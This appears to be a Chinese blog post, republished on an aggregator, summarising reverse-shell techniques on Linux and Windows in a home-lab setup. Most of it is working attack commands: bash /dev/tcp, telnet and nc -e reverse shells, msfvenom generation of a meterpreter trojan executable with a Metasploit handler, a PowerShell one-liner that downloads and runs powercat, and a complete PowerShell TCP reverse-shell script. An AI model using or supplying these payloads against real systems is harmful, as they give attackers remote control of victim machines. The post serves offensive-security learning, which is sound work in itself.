反弹shell学习总结

Posted cl0wn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了反弹shell学习总结相关的知识,希望对你有一定的参考价值。

0x00 反弹shell概述

  反弹shell:即reverse shell,在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,通过反弹的shell去远程控制服务器。

0x01 反弹shell原因

  通常由于防火墙、权限不足、端口占用等情况下,无法直接连接目标主机,此时就需要通过反弹shell,让目标主机主动来连接我们再公网的vps。

0x02 Linux下反弹shell

  实验环境:

  攻击主机:kali:192.168.217.135

  目标主机:ubuntu:192.168.217.132

  1.Bash反弹

  1)攻击主机上执行监听:  

    nc -lvp port  //设定监听的端口

    技术图片

  2)目标主机上反弹shell:   

    bash -i >& /dev/tcp/x.x.x.x/port 0>&1  
    //bash -i:打开一个交互的bash
    //>&:将标准输出和标准错误输出重定向到文件/dev/tcp/,即传递到远程
    ///dev/tcp/x.x.x.x/port:调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
    //0>&1:标准输入重定向到标准输出,实现与反弹出来的shell的交互
    Linux文件描述符:
    0
- stdin 代表标准输入,使用<或<<     1 - stdout 代表标准输出,使用>或>>     2 - stderr 代表标准错误输出,使用2>或2>>

    技术图片

  3)回到攻击机,shell反弹成功

    技术图片

  2.telnet反弹shell

    攻击机上执行命令,监听两个端口(一个用于输入,一个用于输出):

    nc -lvp 4444
    nc -lvp 5555

    目标机上执行:   

    telnet 192.168.217.135 4444 | /bin/bash | telnet 192.168.217.135 5555    //这里通过监听两个端口,然后进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的4444端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的5555端口。

    反弹shell成功后,在监听4444端口的终端执行命令,在另一个终端输出执行结果

    技术图片  

  3.nc反弹shell

    攻击机上执行监听命令:  

    nc -lvp port

    技术图片   

    目标机上执行命令:

    nc -e -t /bin/bash ip port  //使用nc命令直接建立一个tcp的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机
    //-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程

    技术图片

    如果目标主机linux发行版本没有 -e 参数,可选择以下方式: 

    nc ip port1|/bin/bash|ip port2

    成功反弹

    技术图片

  4.利用msfvenom

    攻击主机上使用msfvenom搜索相关payload(此处以python为例) 

    msfvenom -l payloads | grep cmd/unix/reverse     

    技术图片

    可以看到多种实现反弹shell的方式

    执行命令:  

    msfvenom -p cmd/unix/reverse_python lhost=192.168.217.135 lport=6666

    获取相应payload

    技术图片

     然后攻击上启动nc进行监听

    nc -lvp port

    目标主机上执行msfvenom给出的payload

     技术图片

    反弹成功

    技术图片

 

0x03 Windows下反弹shell  

  实验环境:

  攻击主机:kali:192.168.217.135

  目标主机:Win7:192.168.217.130

  1.nc反弹shell

    攻击机上执行监听命令:

    nc -lvp port

    技术图片

     目标机上执行:

    nc.exe -e cmd.exe 192.168.217.135 6666

    技术图片

     成功反弹shell

    技术图片

  2.msfvenom反弹shell

    攻击机上搜索windows x64 tcp的payload:

    msfvenom -l payload | grep windows | grep x64 | grep tcp

    技术图片

    这里选择windows/x64/meterpreter/reverse_tcp生成木马文件 

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.217.135 lport=6666 -f exe >test.exe

    技术图片

    将木马文件移动到桌面方便复制到目标机

    攻击机上使用msfconsole监听: 

    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.217.135
    set lport 6666
    exploit

    技术图片

    目标机上执行test.exe木马文件

    可看到攻击机上反弹成功

    技术图片

   3.powershell反弹shell

    攻击机上执行监听命令: 

    nc -lvp port

    目标机上:

    1).执行命令

    powershell IEX (New-Object System.Net.Webclient).DownloadString(https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1); powercat -c 192.168.217.135 -p 6666 -e cmd

    技术图片

     反弹成功

    技术图片

     2).自定义powershell函数反弹shell: 

    powershell -nop -c "$client = New-Object Net.Sockets.TCPClient(‘192.168.217.135‘,6666);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

    技术图片

     反弹成功

    技术图片

 

  参考链接 

  https://www.cnblogs.com/threesoil/p/10958126.html

  https://www.anquanke.com/post/id/99793

  https://www.freebuf.com/articles/system/178150.html

以上是关于反弹shell学习总结的主要内容,如果未能解决你的问题,请参考以下文章

从一道题学习反弹shell

Linux下几种反弹Shell方法的总结---持续更新

反弹shell方法总结

Linux反弹shell学习

Linux下shell反弹

Windows正向绑定shell和反向反弹shell的Python代码